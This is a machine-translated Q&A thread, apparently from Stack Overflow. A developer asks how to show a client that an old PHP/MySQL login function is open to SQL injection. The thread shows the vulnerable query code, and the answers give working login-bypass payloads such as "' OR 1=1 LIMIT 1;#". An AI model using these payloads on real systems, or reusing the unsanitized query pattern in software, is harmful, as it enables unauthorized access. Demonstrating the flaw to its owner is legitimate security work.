如何在登录过程中注入sql

时间:2014-10-20 07:40:18

标签: mysql sql-injection

我收到了一个完全没有用户输入清理的旧应用程序,并且容易受到sql注入攻击。为了证明情况的严重性,我需要给客户一个例子,比登录过程更能吓唬他。我已经尝试过标准技术,但它们的问题是它们返回多行,并且由于代码的性质,它返回错误而不是登录。我应该注入什么sql以便只返回一行执行到达"返回$ access"为了传递这个"访问"的价值。调用此登录函数的代码列。请求是通过POST方法进行的,并且魔术引号在服务器上关闭。如果您需要任何其他信息,请与我们联系。

function login($username, $pw)
{
    global $dbname, $connection, $sqluser, $sqlpw;
    $db = mysql_connect($connection,$sqluser,$sqlpw); 
    mysql_select_db($dbname);
    if(!($dba = mysql_query("select * from users where username = '$username' AND password = '$pw'"))){
        printf("%s", sprintf("internal error5 %d:%s\n", mysql_errno(), mysql_error()));
        exit();
    }
    $row = mysql_fetch_array($dba);
    $access = $row['access'];
    if ($access != ''){
     return $access;
    } else {
        return "error occured";
    }
    mysql_close ($db);
}

注意:事实证明magic_quotes_gpc已打开且php版本为5.2.17

由于

2 个答案:

答案 0 :(得分:2)

从目标查询开始:

SELECT   *
FROM     users
WHERE    username = '' OR '1'='1' 
AND      password = '' OR 1=1 LIMIT 1;#'

我们得到的用户名是'或者' 1' =' 1,密码是' OR 1 = 1 LIMIT 1;#

答案 1 :(得分:1)

它取决于调用login函数的值。如果在将其传递给功能之前有卫生设施,那么它实际上可能是安全的。但是,最好在查询之前对其进行过滤,以便您可以看到构建的查询是安全的。

但是,如果你有这样的事情:

login($_POST['user'], $_POST['pass']);

在这种情况下,只需将foo' OR 1=1 OR '放在登录表单的用户字段中:)